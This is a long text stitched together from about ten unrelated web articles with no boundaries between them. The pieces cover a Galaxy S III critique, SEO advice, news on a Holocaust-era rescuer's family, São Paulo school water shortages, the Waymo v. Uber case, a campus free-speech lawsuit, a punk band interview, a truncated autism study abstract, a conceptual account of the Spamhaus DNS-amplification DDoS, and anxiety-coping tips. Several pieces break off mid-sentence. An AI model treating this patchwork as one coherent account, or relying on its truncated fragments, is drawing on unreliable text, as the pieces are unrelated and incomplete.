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to fall victim to something similar following the unveiling of the Galaxy S III. There’s no denying that the S III is less of an incremental upgrade than the 4S. Nevertheless, the towering expectations of some have led to disappointment in the face of what is a perfectly serviceable high-end smartphone, and a worthy competitor to the latest products from HTC and Apple. Critics of the Galaxy S III have complaints concerning almost every aspect of the device, from the build quality, to the screen, to the software and its features, to the chassis design. Some are more valid than others, but all follow a common pattern. Samsung delivered a super-high-end smartphone, as opposed to the super-duper-high-end product of people’s imaginations. Somehow a quad-core powerhouse with a 720p SuperAMOLED display just wasn’t enough. (Never mind that many if not most of these critics haven't actually touched the phone.) Firstly, the Galaxy S III is a shiny, plastic phone. Samsung has a history of making shiny, plastic phones, so no surprises there. The glossiness of the device is what seems to have gotten peoples’ goat, as if this automatically makes for a cheap, sub-par product. But it’s often difficult to get an accurate impression of the look and feel of the device through photos alone, and that’s what most people have to go on here. From first-hand experience, I can tell you it’s plastic, but it’s not cheap plastic, and it certainly doesn’t feel flimsy (though it is extremely light for its size.) The white version in particular compares favorably to the Galaxy Nexus in terms of aesthetics and quality of materials -- the glossy finish makes for a more premium appearance, compared to the Nexus’s dull grey plastic. There’s no such thing as an objectively good-looking device, but personally, I see no problems with the exterior design of the S III. Samsung’s choice in button setup is a little weird, but we’ll get to that later. Next up is the display, and a term that’s become something of a dirty word in the past year or so -- PenTile. This refers to the subpixel layout of the Galaxy S III’s screen, which consists of an arrangement of RGBG (red, green, blue and green pixels) as opposed to the standard RGB layout. This offers greater power efficiency, and according to Samsung’s Philip Berne in a recent interview with MobileBurn, can also improve the longevity of the panel over years of use. The trade-off is that jagged edges can be noticed in certain on-screen elements, especially at lower resolutions. In addition, a PenTile matrix can cause noticeable discoloration in some panels at very low or very high brightness settings. For an excellent breakdown of the science behind PenTile, and how human sight makes it much less clear-cut than you might think, check this article from the Rantom Tech Tidbits blog. Again, to examine why some observers are so disappointed with the use of a PenTile matrix on the Galaxy S III, we have to look back at all that pre-release speculation, which resulted in fans dreaming up non-PenTile (and non-existent) 720p SuperAMOLED Plus (RGB) panels, or even ridiculous 1080p SuperAMOLED displays. When Samsung came out with its 4.8-inch, 720p SuperAMOLED panel (with -- gasp -- slightly lower pixel density than the Galaxy Nexus), there was no shortage of dismissive online comments. Some were keen to rubbish the panel sight-unseen, claiming Samsung had made a fatal error by not using some illusory display tech. In fact, it was clear to everyone who’d seen the thing up-close that the screen -- though not quite as impressive as the HTC One X’s SuperLCD 2 -- was superior to most other smartphone displays, including the Galaxy Nexus. Overall brightness was higher, and there was no noticeable discoloration in bright whites. Since then it’s been confirmed that the S III’s screen is indeed of higher quality than the Nexus. In the interview we mentioned earlier, Philip Berne reveals that the gaps between the subpixels on the S III are smaller, making for a sharper-looking image and fewer jaggies.
Finally, we should talk about the software design, which has proved to be another bone of contention. Only the most optimistic of Android fans would’ve expected Samsung to ditch its own UI in favor of stock Ice Cream Sandwich, so it was no real surprise to see another version of TouchWiz adorning the new Samsung flagship. But there’s room for some genuine frustration that the manufacturer seems to be content reworking its existing Gingerbread designs, as opposed to starting afresh with ICS as a base. It’s not terrible by any means, but I think the software design of the Galaxy S III is probably its biggest let-down. That’s not based on any pre-release expectations, but on having used HTC Sense 4 pretty much exclusively for the past month. HTC’s got the right idea when it comes to Android -- they’ve built around ICS rather than on top of it. To Samsung’s credit, however, the “TouchWiz Nature UX” isn’t quite the schizophrenic orgy of colors that we’ve seen on earlier TouchWiz phones. But the new “Nature UX” features the same lack of overall visual cohesion that we’ve seen on TouchWiz 4 phones. Individual elements, such as the rippling lock screen, are very well-designed, but TouchWiz as a whole continues to lack consistency. That doesn’t make it any less functional, just not quite as nice to look at. The Galaxy S III is, first and foremost, a Samsung phone. The front face is the spitting image of Samsung’s Olympic branding -- a curved device with a large central button and smaller capacitive keys to the side. It’s packed to the gills with new Samsung software features, each with its unique (and sometimes confusing) branding. Features like Smart Stay, Pop-up Play and S Beam are sure to dazzle prospective buyers in the weeks ahead. The idea is to sell consumers on the Samsung software experience, not Android per se. That’s why Samsung's opted to go with the three button setup, rather than adopting the on-screen buttons of the Galaxy Nexus. As Android enthusiasts, we may not like the decision, but it’s one that’s understandable for a manufacturer that’s trying to create a familiar software experience across multiple platforms and device classes. (Though at times it can seem like Sammy's merely playing copycat with things like S Voice and its new "Pin" stores.)Basic SEO Tips for a Better Ranking
Search engine optimization for shops and businesses is and remains an evergreen in online marketing field. But it also has a decisive disadvantage. Somehow you will never be quite finished with it. Google never gets tired of developing its technologies further, which always offers new opportunities to conquer one of the top places on its result pages. And in addition, small things can be optimized again and again in the own content. We have compiled very simple SEO tips for you for a better ranking.
Placing related search terms in the content
Of course it is great when you have succeeded in creating a product page, let’s say, black sneakers and optimizing the content. But perhaps people are not looking for black sneakers right now, but for “black sneakers”. Therefore, always try to include related search terms on your pages. Google will even tell you voluntarily which are a good choice here. Simply perform a search for the keyword for which you are producing content and look at the bottom of the results page to see what Google suggests to you as related terms.
Use your keyword
Someone once invented the term “keyword density” in connection with keywords. It is still used as a reference in plugins and other tools. Often enough, this results in texts that have been written solely for search engines. Have courage and free yourself from these rigid guidelines.
It’s certainly great when visitors end up on your site through the results pages of the search engines. It is counterproductive, however, if visitors consider you to be limited because your texts are simply not readable. Or, as will be the case with experienced users, the SEO cramp will be recognized as such.
Use the keyword frequently in the content. Of course, keywords are relevant for the search. But forget about strict specifications that work with percentages. You produce the content primarily for your customers. Not for the search engine.
Title under 60 characters
Strictly speaking, Google no longer limits the length of page titles in its results by the number of characters used. After all, many channels can now be used for search results. Nevertheless, it is still a good idea to limit the choice of page titles to 60 characters. In the vast majority of cases, this should ensure that the content remains below Google’s limit and appears legibly in the results. Regardless of which search channel the customer used.
Use numbering
Many user searches start with a “How can I? So you’re looking for solutions and instructions. Give the search engine a signal that you might have a suitable guide for the term you are looking for. Therefore, use numbering in your texts.
Strengthen title
Don’t you occasionally expand your search on Google with terms that appear in addition to the keyword? For example “CRM Systems Overview” or “CRM Systems”? Underline the meaning of a page by adding exactly such terms. Of course, only where it is appropriate.
The checklist and instructions in particular can be of interest to retailers. Corresponding content is not particularly difficult to produce, offers customers added value and brings relevance in the search engine.
Use the keyword in the first 100 words.
That’s a bit old school, but it doesn’t hurt at all: Use the central keyword as early as possible within the content. As a ranking factor, this may be overestimated, but provides the reader with good feedback that he has landed on a page that actually deals with his search query.
Finding duplicate titles with the Search Console
You can score with Google if you actually use an individual title for each page and individual descriptions in the meta elements. And here, too, the search engine in its Search Console provides the right tool to identify duplicate titles or descriptions. Under “Display of the search” and “HTML improvements” you will find corresponding hints when problems occur.
Emphasize speed
Speed is necessary. This applies to the response times of the server and the page structure as well as to the content. Users want results as quickly as possible. If you emphasize that you provide them, this is also interesting for Google, because it also measures how often users have chosen one page instead of another. So pick up speed in your pages. If you have a quick solution to a problem, include it in the descriptions of the pages.
Use synonyms in subheadings
Don’t forget to use subheadings. This is about semantics, not optics. Using the appropriate stylesheet, a second level heading can look like bold. “Do not “overoptimize” your pages by stoically trying to include the keyword in the subheadings. Use synonyms and paraphrases instead. “Calorie-reduced” may be the keyword, but “sugar-free” may also apply.
Treat product pages like blog posts
Why do blog articles have such a high relevance in search engine results? This is due to the content. Almost always it concerns detailed contributions. And the longer the contribution, the easier it is to place keywords there, so that the reader doesn’t have the feeling of being beaten to death. Take an example and invest in detailed product descriptions. Not just a list of keywords or bullet points. It’s a detailed article that introduces the product and its benefits.
Use picture descriptions like a signature
Oh, yeah, the page element “old.” You will find a corresponding input option in every editorial system. And yet the element leads a shadowy existence, because in most descriptions for use there is only the hint that the browser displays this text if there is a problem with the display of the image. And since there will be no problem with you, limit yourself to a few brief keywords.
And you already underestimate this element. Because Google’s algorithm for image recognition is getting better and better, but it’s not so mature yet. Therefore use the file name and especially the alternative text of an image as you would use a caption in a document. This will help the search engine to find out exactly what can be seen on the image. This has the side effect that you will probably pick up your keywords again.
Use a number in headings or posts
Again something from the department “Because we write for people, not for search engines”. It may sound strange, but there are countless sources on the Internet and evidence that the click rate on headlines and articles on the result pages increases when operating with numbers. “The 100 best SEO tips” simply beat “The best SEO tips”. This may still have something to do with our past as hunters and collectors.
Using the Search Console to regularly search for problems
The Google “Search Console” included in the webmaster tools is probably the most underestimated tool to check the effect of SEO on the pages. Before you go to another tool, open an account there and look at the different sections. This is where Google gives you plenty of material. You can see what problems the crawler had. You’ll discover problems with the update. Google also gives you free advice on how to optimize your pages.
Get involved with AMP
“Accelerated Mobile Pages” is the latest prank from Google. An own technological extension, with the goal of accelerating the loading times of pages on mobile devices. The use of AMP is not yet a ranking factor, but it can be worthwhile to already deal with the technology now. It is not impossible that it will become a ranking factor after all. And on the other hand, in the past offers have always had an advantage if they have implemented new Google extensions or guidelines before all others.
Analyzing and fixing HTML errors
You don’t necessarily have to send your pages through the W3C validator, but bad HTML code will also be pointed out to you by Google in the console. You should definitely disable such HTML errors. Because bad code can prolong loading times or even lead to incorrect displays on the user’s terminal device. And technical problems or a faulty display will ruin your other SEO efforts.
Use SSL
This has become a ranking factor. Point. And it gives the user the feeling that you take security seriously. Your shop or homepage should therefore be accessible via HTTPS. And please do not use self-created certificates whose validity is then criticized in the browser.
Offer a glossary
A lexicon of technical terms is written quite quickly and is doubly useful. Firstly, you can place synonyms and related terms around the products to your heart’s content. On the other hand it is useful for the visitors. And that can also be a ranking factor.
Offer a free tool
Internet users still love useful free tools. Comparison calculators, product configurators, etc. The investment in such a tool quickly pays for itself again.
Offer explanations
This goes in the same direction as the creation of a glossary. But many search queries start with “What is…” or “What means…” or “What is the difference…”. Offer such explanations to suit your products. The model railway shop can explain different gauges or the electric shop can finally explain what a heat pump is. The visitors will thank you and so will the search engines.
Let Amazon Suggest inspire you
Are you looking for synonyms and ideas for keywords in product descriptions? Then visit the Amazon homepage and start searching for a product you also offer. Amazon will then provide you with further ideas free of charge through its automatic suggestion function.The family of an Arab doctor who was honored posthumously by Israel’s Holocaust memorial last month has rejected the country’s prestigious award because of their political beliefs.
Dr. Mohamed Helmy was cited for hiding Jews in Berlin during the Nazis’ genocide, but a family member tracked down by The Associated Press this week in Cairo said her relatives weren’t interested.
“If any other country offered to honor Helmy, we would have been happy with it,” Mervat Hassan, the wife of Helmy’s great-nephew, told the AP.
Hemly was recognized by Israel’s Yad Vashem History Museum as “Righteous Among the Nations” — the highest honor given to non-Jews for risking their live to rescue Jews from extermination.
Mrs. Hassan said the family rejected Israel’s award because the country’s relations with Egypt remain hostile, but she said she respects “Judaism as a religion.”
“Islam recognizes Judaism as a heavenly religion,” she told the AP this week in Cairo. “Helmy was not picking a certain nationality, race or religion to help. He treated patients regardless of who they were.”
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.DO "AGORA"
Publicidade
Duas escolas estaduais da zona norte de São Paulo dispensaram alunos mais cedo devido à falta de água nesta segunda (2), na volta às aulas. Outras duas enfrentaram falta de água, mas não liberaram estudantes. Uma chegou a pedir a alunos para controlarem as idas ao banheiro.
Em meio à crise hídrica, a zona norte é a região mais afetada pela redução de pressão na tubulação. A Sabesp diz que adota a medida para economizar.
Na escola Carlos Frederico Werneck Lacerda, em Pirituba, funcionários informaram que os alunos foram dispensados às 9h40 (quase três horas mais cedo) por causa da falta de água. O bairro estaria sem água desde domingo (1º).
Rubens Cavallari/Folhapress Escola Marly Diva Bonfanti, que liberou alunos mais cedo
Na Marly Diva Bonfanti (Cachoeirinha), os alunos foram liberados às 10h porque a água da rua acabou e a caixa-d'água estava em manutenção. Segundo funcionários e pais de alunos, adolescentes teriam tomado banho e urinado na caixa na semana passada. Funcionários disseram que a verba para a manutenção só chegou na sexta (30), e que, após a limpeza do reservatório, os alunos da tarde tiveram aula normal.
A operadora de caixa Francisca Dias de Oliveira, 46, disse ficar preocupada com os filhos, de 7 e 10 anos. "Mandei garrafa de água porque não dá para confiar nessa água."
As escolas Guilherme de Almeida (Cachoeirinha) e Assis J. Ambrósio (Jardim Peri) também enfrentaram falta de água, mas não liberaram alunos. Na Elza Saraiva Monteiro e Dilson Funaro (ambas no Jardim Peri), estudantes foram orientados a trazer garrafa com água e limitar idas ao banheiro.
A secretaria estadual da Educação disse que as escolas que liberaram alunos mais cedo terão que repor as aulas.
Sobre orientações de economia de água dadas a alunos, a secretaria disse que as recomendações partiram dos professores. A Sabesp informou que enviaria uma equipe nesta terça (3) para escolas onde detectou problemas e, se necessário, enviaria caminhões-pipa.New legal filings in the Waymo v. Uber litigation lay out more of Google's allegations against ex-Googler Anthony Levandowski, who now heads up Uber's self-driving car unit.
According to a Google document filed in court yesterday, Levandowski created "competing side businesses" as early as 2012 while he was still working for Google. That's when Levandowski is said to have incorporated a company called Odin Wave LLC, with a physical address at a building he owned in Berkeley, California.
Odin Wave submitted an order to a hardware maker asking for a "customer-fabricated part" similar to what Google used in its self-driving cars. Google employees investigated Odin Wave, noted the connections to Levandowski, and questioned the engineer about it, but Levandowski denied having any ownership, according to Google lawyers.
Google claims Odin Wave later merged with another LLC called Tyto Lidar, which ultimately became part of Otto—Levandowski's startup that was later acquired by Uber for $680 million.
Levandowski not only started work on his competing self-driving car business while he still worked at Google, he tried to recruit more Googlers to join him, according to the filing. He worked together with a partner who also was at Google and whose name is redacted from the filings. However, as TechCrunch notes in its review of the new documents, the work history described matches that of Otto cofounder Lior Ron.
The filing also notes that Levandowski received incentive payments from Google, but it redacts the amount in the public filing. Bloomberg reported that the incentive payments totaled more than $120 million.
Google's Waymo division sued Uber last month, claiming that Uber's self-driving car technology is built on trade secrets illegally stolen from Google when Levandowski departed.
Levandowski is not a defendant in the lawsuit and has separate counsel from Uber. According to news reports about a closed hearing last week, Levandowski's lawyer said his client would exercise his Fifth Amendment rights to avoid discussing documents related to the case.
Waymo also submitted a letter to US District Judge William Alsup stating that Uber is willfully violating a court order to hand over key documents in the case.
"Waymo notes that Mr. Levandowski remains—to this day—an Uber executive and in charge of its self driving car program," writes Waymo lawyer Charles Verhoeven.The censorship of free speech on a college campus has caused a legal fight to brew in California
A lawsuit filed Thursday against numerous staff at California State University-Los Angeles claims that the university discriminated against free speech by trying to silence Ben Shapiro, 32, a prominent conservative voice who has spoken on college campuses around the country.
“Free speech on college campuses, particularly publicly-sponsored campuses, it’s not merely a necessity, it’s a right,” Shapiro, editor-in-chief of the Daily Wire, said at a press conference Thursday in Los Angeles. “That right is being quashed all across the country by administrators who are significantly more intent on indoctrinating students and eliminating dissent than giving students the opportunity to hear different ideas and reach their own conclusions about those ideas. It’s time for that to stop.”
Alliance Defending Freedom, a conservative, Christian legal organization, filed a lawsuit in a California district court on behalf of Young America’s Foundation (YAF), Shapiro, California State University-Los Angeles Young Americans for Freedom, and Mark Kahanding, a student at the university.
“Public universities today don’t allow the full range of viewpoints to be expressed on campus,” Tyson Langhofer, senior counsel with the Alliance Defending Freedom, told The Daily Signal. “There are dozens and dozens of events and speakers and seminars that are put on on campuses from a liberal viewpoint. When the rare time comes up that students try to bring in a conservative speaker or a different viewpoint, those viewpoints are typically suppressed.”
“Students should be able to participate in the marketplace of ideas on campus without fear that the administration is going to suppress their ideas simply because they disagree with their viewpoint,” Langhofer told The Daily Signal.
On February 25, Young America’s Foundation hosted an event called “When Diversity Becomes a Problem,” featuring a talk with Shapiro. According to Alliance Defending Freedom, the university wanted to charge YAF over $600 to provide security due to the “controversial” nature of the topic.
A few days prior to the event, University President William A. Covino emailed Young America’s Foundation members, informing them that the event was canceled, wishing to schedule a “more inclusive event” with Shapiro. When YAF and Shapiro refused to reschedule, Covino changed his mind.
“They don’t put those kind of roadblocks up for liberal viewpoints,” Langhofer said. “What parents need to be concerned about, what students need to be concerned about across this country is the unwillingness of administration to allow opposing viewpoints.”
Demonstrators and protesters tried to block the event at California State University-Los Angeles from happening, even linking arms to block entrances so that students could not get into the presentation and pulling a fire alarm midway through Shapiro’s speech, The Daily Signal previously reported.
>>> Campus Protesters Try to Silence Conservative Speaker, Demand College President’s Resignation
“The university police officers did not take any action to stop the [protesters] from blocking access to the Free Speech Event or to otherwise assist interested individuals in gaining access to the event,” the lawsuit says.
Shapiro, who had to be escorted out by police after the event because of safety concerns, told The Daily Signal that he’s “never experienced anything quite like” what happened.
We had to be escorted by a full police cordon as well as a motorcade thanks to safety concerns. — Ben Shapiro (@benshapiro) February 25, 2016
We are safely out. The police informed us they could not guarantee our safety or that of the student attendees if we went into the crowd. — Ben Shapiro (@benshapiro) February 25, 2016
“The main problem at CSU-LA is that the administrators were not only not helpful, they were actively working to prevent the event from taking place and then taking their power to basically quash any attempt to clear a pathway. This is a unique situation,” Shapiro said. He added: “The administration was responsible for this getting bad. They should have allocated more police officers. Cal State- LA was a disaster from start to finish.”
Named in the lawsuit are Covino and Nancy Wada-McKee, vice president for student life, among other professors and faculty alleged to have helped encouraged and helped in the protest.
California State University-Los Angeles did not respond to The Daily Signal’s request for comment.
The lawsuit says:
The students voiced their desire to leave the theater but the university police advised that the students’ lives would be in danger if they left the theater and that they could not guarantee the students’ safety.
The safety of the students and other attendees would not have been threatened if the university police officers had moved the [protesters] away from the front and rear entrances to the theater, but Defendants Covino and Wada-McKee had ordered them not to do so.
The university police then escorted Shapiro through a secret exit while all of the attendees were forced to remain in the theater.
Shapiro cited the “failure of the administration to protect the safety of students who wish to exercise First Amendment rights,” as a concern for college students and parents regarding situations like what happened at California State University- Los Angeles.
Shapiro says that he has also encountered protesters at other college campuses he has spoken at. “When I spoke at the University of North Carolina there was a walkout in the middle,” he said. When he spoke at Penn State, “it was pretty crazy.”
At many other colleges he has spoken at, everything has gone “totally fine.”
“It’s hit and miss. Some of them are great. Some of them, the protesters show up in mass,” Shapiro says.
>>> ‘Grow Up’: Commentator Ben Shapiro Crashes Mizzou Protesters’ Safe Space
“The thing that I think was the most concerning about this situation is the level of involvement that the faculty had in organizing this protest and actually taking part in the protest and blocking the doors so that students weren’t able to go in and hear Ben’s speech and hear a viewpoint that they don’t typically hear on a campus,” Alliance Defending Freedom’s Langhofer said.
Three months after the event, some students organized a “healing” space to recover from Shapiro’s speech, according to Young Americans for Freedom Program Officer Amy Lutz. “First, most, if not all of these students, didn’t even attend the lecture,” Lutz wrote.
Shapiro said Thursday at the press conference announcing the lawsuit:
I pay taxes in this state. I help sponsor the tuition of the students who attend this university. I help pay the salaries of the administrators and the professors, and yet when conservative students on this campus merely wanted to hold an event on this campus at which I would speak basic, conservative ideas, the administrators first attempted to charge conservative students extra money. When that failed, they tried to shut me down.
Shapiro added: “Free speech needs a safe space.”Line Brawl is a hardcore outfit out of Denver, Colorado specializing in fast, in-your-face punk rock that fosters a sort of well-manufactured chaos. Put simply, this band rips. They’ve got a new record coming out soon, so we caught up with their singer, Gary Chernyavsky, to ask him about what’s in store for the band and whether or not jock hardcore will make a comeback. Enjoy.
Can you speak a little bit about yourself, who Line Brawl is, what you do in the band, etc.?
A little about me? Honestly, I’m just a boring dude. My name is Gary, I sing in Line Brawl, I read comic books, go to shows, work at a burrito restaurant and watch hockey. Line Brawl is a Hardcore Punk band from Denver, CO. We’re a four piece, Matt plays drums, Alex plays guitar, and Ryan plays Bass. We play really fast, short songs that make you wanna throw your head through a wall, but in a good way.
You guys recently finished recording a new record, “Worse Off,” at the Blasting Room in Fort Collins, Colorado which will come out on Irish Voodoo Records in the near future. How did the process of making this record differ from the recording of Pack Mentality and your earlier demos?
Yeah, it’ll be coming out on a 7 inch record, which is gonna be awesome. It’ll be our first release on vinyl which we’ve wanted to do for a minute now. When we first put out our three song demo, we just wrote three songs and did some basement recordings so we can get some stuff out for people to hear. When we recorded Pack Mentality we actually went to Rusty Sun Audio to record there 6 songs. I think just between everyone’s schedules, snow storms and other stuff, it took us almost two weeks to get the whole thing done. We were satisfied with it, but with the direction we were going in as a band, we wanted a different recording that would really catch our raw and rugged sound. So we worked with the Blasting Room to record Worse Off. That process was so much different because we had a timeline that we really had to stick to. We ended up recording 10 songs in two days. I’m pretty sure it took longer to mix and master the record than it did to actually record it.
What can we expect from the new record?
Fast.. Really fast. Most of the people I’ve played it to have said they’ve heard influence of punk, youth crew, power violence, hardcore, skate punk. It’s only nine minutes long so we really wanted to make it as gnarly/heavy/aggressive as possible.
How did the partnership with Irish Voodoo come about?
We played at a place in Fullerton, CA called Programme Skate Shop. It was hands down one of our favorite shows from the tour. The owner of Programme really liked us and passed on our music to his friend Joey who runs Irish Voodoo. One day he hit us up and offered to put out the new record and we’ve been working with him since.
You’ve been around long enough to see Denver Hardcore at what some would call its peak, through a period of stagnation, to now, when it seems like kids are starting to give a shit again. What’s changed? How can locals keep the ball rolling?
I think the biggest thing that’s changed is there are now a lot of newer kids in the scene and they’re all starting bands. On top of that, it’s bands that aren’t affiliated with some crew. Everyone is supporting each other because they don’t feel like they have to support a crew in the process. A lot of it is just starting new bands. The bands might not even be the best bands you’ve ever heard, but they’re putting themselves out there and giving everyone something to be proud of and stoked about. It’s easier to have a good hardcore scene when there’s local presence. The only way to keep it going is to keep starting bands, keep coming out to shows, keep supporting each other. Without those factors, it’ll die like it did once before.
Right now, there’s a clear split between types of shows happening in Denver, between those that are, for lack of a better word, crew-related, and those that aren’t. Is that split detrimental to the health of the local community?
It’s more than just crew-related stuff. There’s a split between people that support a crew, pretentious throwback kids that try to emulate a scene that existed in the late 80’s where kids that think they’re skin-heads and youth crew, and then there’s the kids that just wanna go to shows and have fun. I used to think that the split is harmful to the scene, but honestly, everyone is doing fine. An all local show has the ability to draw over 100 kids on a Friday night. I think two years ago it definitely caused some damage, but now it’s not really an issue.
Hardcore is inherently aggressive, so violence is often an accompanying factor at shows. Is there a line? Seems like there are opinions on every end of the spectrum, from people wanting the shows to feel more inclusive towards outsiders, to those that want every show to be as crazy and violent as possible.
I definitely think there’s a line. I don’t wanna go to a show where some dude is facing the crowd and just swinging on anyone in sight. I think crowd moshing is stupid as fuck. It’s especially stupid because there’s a ridiculous double standard where someone thinks it’s ok to swing on a kid, but when the kid swings back, he gets stomped out by 5 dudes. I don’t mind violence and chaos. Hardcore shows are meant to be chaotic. But I like the type of violence where everyone is going so crazy that you can’t expect whats gonna happen next. Maybe you’ll get hit with a bass or a piece of the drum set? As for being more inclusive to outsiders, I think we should accept people until we have reason not to. I’ve learned over the years that you can’t judge a book by it’s cover. I don’t know everyone’s story or how they ended up coming to a show.
Line Brawl is playing a much faster, punk-influenced brand of hardcore than most other bands these days. How important is it for younger hardcore bands to know and understand the genre’s roots in punk rock?
Honestly, for me it’s important. I like educating younger kids on roots of hardcore and showing them a bunch of old bands. It’s not a necessity though. Now a days, it’s more common for young kids to come from metalcore and scene kid show. I think if they have the desire to learn the roots, they will on their own time. I’ll always be surprised when a young kid doesn’t know Gorilla Biscuits or Minor Threat, but I think as long as they’re there for the right reason, the education can come later.
Speaking to the genre’s roots, there was recently controversy over statements made by Gorilla Biscuits front-man Civ regarding the BLM movement. People were very quick to completely write-off the entire band following that incident, which is significant considering GB’s place in history. Is there a battle in modern hardcore between the need to always say the right thing and the ability to freely express your views?
That’s a hard topic to talk about. I saw the video. I know what Civ stands for and I know what GB sings about as a band. I know their stance on racism. I think the way the worded it was taken the wrong way. I don’t think Civ believes at all that the BLM movement doesn’t matter. I definitely think there’s a pressure to always say the right thing. Hardcore was once a place where you can openly speak about your opinion and people would accept you, even if they didn’t agree with it. I have a song on our new record where I saw “because having an opinion no longer means thinking for yourself.” It’s what I’m noticing in hardcore. Everyone wants you to express individuality, but if your opinion doesn’t match their opinion of what it means to be an individual, then you’ll be ostracized for it. With that being said, back to the Civ and BLM thing, I wholeheartedly support the BLM movement, but like Civ, I think it’s sad that in 2016 we STILL have to say that Black Lives Matter. Of course they matter. It’s sad that we still have to teach people that Black Lives Matter. It should be known by now without having to teach it. It’s bullshit with how progressive this world is, we still have to worry about racism and Black people being murdered simply because of the color of their skin. But with all that being said, I feel like racism is on the rise and the BLM movement is extremely important. It’s sad that we need to educate people about it, but if that’s the only way people are gonna get it through people’s heads then I believe the movement is detrimental to further progression of the United States.
Let’s end with some easy questions. You’re stranded on an island with only one record to listen to. What is it?
Come on dude, you said easy question. I don’t even have an answer to this.
Line Brawl is a hockey reference. Is there going to be a comeback of jock hardcore in the vein of Floorpunch?
Haha no not at all. A line brawl in hockey is when everyone on the ice is fighting at the same time. We thought our style of music matched the term because it’s fast and aggressive.
What music should people be checking out?
Check out this band called Line Brawl. Just kidding.. Listen to whatever you want and support local bands. Support local record stores and find new bands to listen to however you can.
Thanks for doing this Gary. Anything else you’d like to add?
Of course dude. I appreciate you asking me all this. Nah not really much else to add. I guess I just wanna say thank you to everyone that’s shown us love or support.
Go see Line Brawl at a show. Check out their new record. Start a band. Contribute.
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Context Autism most commonly appears by 2 to 3 years of life, at which time the brain is already abnormally large. This raises the possibility that brain overgrowth begins much earlier, perhaps before the first clinically noticeable behavioral symptoms.
Objectives To determine whether pathological brain overgrowth precedes the first clinical signs of autism spectrum disorder (ASD) and whether the rate of overgrowth during the first year is related to neuroanatomical and clinical outcome in early childhood.
Design, Setting, and Participants Head circumference (HC), body length, and body weight measurements during the first year were obtained from the medical records of 48 children with ASD aged 2 to |
a common DDoS attack, hackers use thousands of computers to send bogus traffic at a particular server in the hopes of overloading it. The computers involved in DDoS attacks have often been previously infected with malware that gave a hacker control of the machine without the legitimate owner's knowledge. Hackers use malware (often sent via email spam) to amass large networks of infected computers, called "botnets," for DDoS operations and other purposes.
Spamhaus contracted with security firm CloudFlare to help mitigate the attacks soon after they began. CloudFlare has been defending Spamhaus by spreading the attacks across multiple data centers, a technique that can keep a website online even if it's hit by the maximum amount of traffic a typical DDoS can generate.
"Usually these DDoS attacks have kind of a natural cap in their size, which is around 100 gigabits per second," CloudFlare CEO Matthew Prince told Mashable before explaining the limitation in typical DDoS attack size is due to routing hardware limitations.
These attacks, however, have evolved into a complex and ferocious beast, pointing up to 300 gigabits per second at an expanding list of targets. How?
After the hackers realized they couldn't knock Spamhaus offline while it was protected by CloudFlare, they chose a different tactic: targeting CloudFlare's own network providers by exploiting a known fault in the Domain Name System (DNS), a key piece of Internet infrastructure.
"The interesting thing is they stopped going after us directly and they started going after all of the steps upstream from us," said Prince. "Going after our immediate transit providers, then going after their transit providers."
DNS essentially turns what humans type into an address bar ("www.mashable.com") to the desired website's IP address and helps to deliver the desired Internet content to a user's computer. An essential element of the DNS system are DNS resolvers — 21.7 million of which are open and able to be found and manipulated by hackers.
"The attack works by the attacker spoofing the victim's IP address, sending a request to an open resolver and that resolver reflecting back a much larger response [to the victim], which then amplifies the attack," said Prince. A detailed technical explanation is available on CloudFlare's blog.
Because DNS resolvers are connected to large pipes with plenty of bandwidth to point at a target, hackers can manipulate them to amplify standard DDoS attacks from a maximum of about 100 gigabits per second to the neighborhood of 300 gigabits per second. Prince told Mashable these attacks have been "certainly the largest attacks we've seen."
"And we've seen what we thought were some big attacks," he added. Kaspersky Labs, a leading security research group, called it "one of the largest DDoS operations to date."
Internet speeds around the world can be impacted by such large-scale DNS amplified DDoS attacks because the Internet relies on DNS to work — major interference with DNS can have consequences for services not necessarily being directly targeted by such an attack.
What can be done about preventing these specialized DDoS attacks? First, said Prince, Internet Service Providers should implement technologies that prevent hackers from spoofing victims' IP addresses. Second, network administrators need to close any and all open DNS resolvers running on their network.
"Anyone that's running a network needs to go to openresolverproject.org, type in the IP addresses of their network and see if they're running an open resolver on their network," said Prince. "Because if they are, they're being used by criminals in order to launch attacks online. And it's incumbent on anyone running a network to make sure they are not wittingly aiding in the destruction of the Internet."
SEE ALSO: Global Internet Slowed by Massive Cyberattack Against One Company
If there's a silver lining to these continued attacks, it's that they have likely motivated the security industry, which has been talking about, but taken apparently insufficient action on, the open DNS issue for some time. Prince, however, warns DNS-amplified DDoS attacks won't be going away any time soon.
"The good news about an attack like this is that it's really woken up a lot of the networking industry and these things that have been talked about for quite some time are now being implemented," said Prince.
"There was some progress on shutting down open resolvers before," he added later. "I think that's going to be a constant process — this is a problem that we're going to have to live with for the next several years."
Image via iStockphoto, Vertigo3dSkimming through Real Simple magazine at the check out line of the supermarket, I came across Dr. Robert Leahy’s article “10 Ways to Cope with Anxiety.” Dr. Leahy is the director of the American Institute for Cognitive Therapy and the author of many books on the subject. His suggestions will help you calm your nerves:
1. Repeat your worry until you’re bored silly.
“…take the troublesome thought that’s nagging at you and say it over and over, silently, slowly, for 20 minutes. It’s hard to keep your mind on a worry if you repeat it that many times.”
Dr. Leahy calls this technique “the boredom cure.” Behavioral scientists call it ‘flooding’. I’m not so keen about this technique for my extremely anxious patients who are having trouble regulating their thoughts and emotions. If your anxiety is on the milder side, however, and you have the courage to do this, I recommend you think about your worries while practicing relaxation techniques to keep your body as calm as possible.
2. Make it worse.
“When you try too hard to control your anxieties, you only heighten them. Instead exaggerate them and see what happens.”
This is a good one. When I suggest it to my patients I call it the ‘Bring it on’ technique or ‘Fake it ’til you make it’. By inviting what scares you, you learn on your time that you can survive your fears instead of waiting to be bushwhacked by them.
Sports psychologists use this all the time. When I was terrified my horse would shy and dump me on the ground, my coach told me to stop trying to keep my mare from bolting. Instead she told me expect her to shy, to look forward to it. That attitude helped me relax and so did the horse.
3. Don’t fight the craziness.
“You may…have thoughts that lead you to think you’ll do something terrible…or that you’re going insane… Remember – our minds are creative…every now and then ‘crazy’ thoughts jump out. Everyone has them.”
In the weeks after my first child was born, when I was exhausted, sleep deprived and in the grips of baby blues, I had thoughts of throwing my screaming baby out the window. Those thoughts terrified me. Tearfully, I confessed my horrible thoughts to my mother who shrugged and said, “We all think something like that at some time. You didn’t act on it, did you?” She assured me I wasn’t crazy. I could relax.
My patients are sometimes surprised when I suggest they allow themselves to imagine doing something outrageous like throwing a banana cream pie at their nasty boss’s puss. Unleashing our creative minds may be just what we need to de-stress.
4. Recognize false alarms.
